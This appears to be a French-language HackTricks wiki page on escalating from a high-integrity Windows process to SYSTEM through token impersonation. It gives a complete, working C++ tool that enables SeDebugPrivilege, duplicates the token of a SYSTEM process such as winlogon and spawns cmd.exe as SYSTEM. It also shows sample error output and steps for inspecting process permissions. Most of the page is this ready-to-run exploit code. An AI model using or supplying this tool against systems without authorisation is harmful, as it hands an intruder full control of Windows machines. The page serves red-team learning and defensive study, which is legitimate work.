SeImpersonate de High Ă  System

Reading time: 5 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Code

Le code suivant provient de ici. Il permet de spécifier un ID de processus comme argument et un CMD s'exécutant en tant qu'utilisateur du processus indiqué sera exécuté.
En s'exécutant dans un processus à haute intégrité, vous pouvez indiquer le PID d'un processus s'exécutant en tant que System (comme winlogon, wininit) et exécuter un cmd.exe en tant que system.

cpp
impersonateuser.exe 1234
impersonateuser.cpp
// From https://securitytimes.medium.com/understanding-and-abusing-access-tokens-part-ii-b9069f432962 #include <windows.h> #include <iostream> #include <Lmcons.h> BOOL SetPrivilege( HANDLE hToken, // access token handle LPCTSTR lpszPrivilege, // name of privilege to enable/disable BOOL bEnablePrivilege // to enable or disable privilege ) { TOKEN_PRIVILEGES tp; LUID luid; if (!LookupPrivilegeValue( NULL, // lookup privilege on local system lpszPrivilege, // privilege to lookup &luid)) // receives LUID of privilege { printf("[-] LookupPrivilegeValue error: %u\n", GetLastError()); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; if (bEnablePrivilege) tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else tp.Privileges[0].Attributes = 0; // Enable the privilege or disable all privileges. if (!AdjustTokenPrivileges( hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) { printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError()); return FALSE; } if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) { printf("[-] The token does not have the specified privilege. \n"); return FALSE; } return TRUE; } std::string get_username() { TCHAR username[UNLEN + 1]; DWORD username_len = UNLEN + 1; GetUserName(username, &username_len); std::wstring username_w(username); std::string username_s(username_w.begin(), username_w.end()); return username_s; } int main(int argc, char** argv) { // Print whoami to compare to thread later printf("[+] Current user is: %s\n", (get_username()).c_str()); // Grab PID from command line argument char* pid_c = argv[1]; DWORD PID_TO_IMPERSONATE = atoi(pid_c); // Initialize variables and structures HANDLE tokenHandle = NULL; HANDLE duplicateTokenHandle = NULL; STARTUPINFO startupInfo; PROCESS_INFORMATION processInformation; ZeroMemory(&startupInfo, sizeof(STARTUPINFO)); ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION)); startupInfo.cb = sizeof(STARTUPINFO); // Add SE debug privilege HANDLE currentTokenHandle = NULL; BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle); if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE)) { printf("[+] SeDebugPrivilege enabled!\n"); } // Call OpenProcess(), print return code and error code HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE); if (GetLastError() == NULL) printf("[+] OpenProcess() success!\n"); else { printf("[-] OpenProcess() Return Code: %i\n", processHandle); printf("[-] OpenProcess() Error: %i\n", GetLastError()); } // Call OpenProcessToken(), print return code and error code BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle); if (GetLastError() == NULL) printf("[+] OpenProcessToken() success!\n"); else { printf("[-] OpenProcessToken() Return Code: %i\n", getToken); printf("[-] OpenProcessToken() Error: %i\n", GetLastError()); } // Impersonate user in a thread BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle); if (GetLastError() == NULL) { printf("[+] ImpersonatedLoggedOnUser() success!\n"); printf("[+] Current user is: %s\n", (get_username()).c_str()); printf("[+] Reverting thread to original user context\n"); RevertToSelf(); } else { printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken); printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError()); } // Call DuplicateTokenEx(), print return code and error code BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle); if (GetLastError() == NULL) printf("[+] DuplicateTokenEx() success!\n"); else { printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken); printf("[-] DupicateTokenEx() Error: %i\n", GetLastError()); } // Call CreateProcessWithTokenW(), print return code and error code BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation); if (GetLastError() == NULL) printf("[+] Process spawned!\n"); else { printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess); printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError()); } return 0; }

Erreur

Dans certains cas, vous pouvez essayer d'usurper l'identité de System et cela ne fonctionnera pas, affichant une sortie comme suit :

cpp
[+] OpenProcess() success! [+] OpenProcessToken() success! [-] ImpersonatedLoggedOnUser() Return Code: 1 [-] ImpersonatedLoggedOnUser() Error: 5 [-] DuplicateTokenEx() Return Code: 0 [-] DupicateTokenEx() Error: 5 [-] CreateProcessWithTokenW Return Code: 0 [-] CreateProcessWithTokenW Error: 1326

Cela signifie que mĂȘme si vous exĂ©cutez Ă  un niveau d'intĂ©gritĂ© Ă©levĂ©, vous n'avez pas suffisamment de permissions.
VĂ©rifions les permissions actuelles d'Administrateur sur les processus svchost.exe avec processes explorer (ou vous pouvez Ă©galement utiliser process hacker) :

  1. SĂ©lectionnez un processus de svchost.exe
  2. Clic droit --> Propriétés
  3. Dans l'onglet "Sécurité", cliquez en bas à droite sur le bouton "Permissions"
  4. Cliquez sur "Avancé"
  5. SĂ©lectionnez "Administrateurs" et cliquez sur "Modifier"
  6. Cliquez sur "Afficher les permissions avancées"

L'image précédente contient tous les privilÚges que les "Administrateurs" ont sur le processus sélectionné (comme vous pouvez le voir, dans le cas de svchost.exe, ils n'ont que des privilÚges "Query")

Voyez les privilĂšges que les "Administrateurs" ont sur winlogon.exe :

À l'intĂ©rieur de ce processus, les "Administrateurs" peuvent "Lire la mĂ©moire" et "Lire les permissions", ce qui permet probablement aux Administrateurs d'usurper le jeton utilisĂ© par ce processus.

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks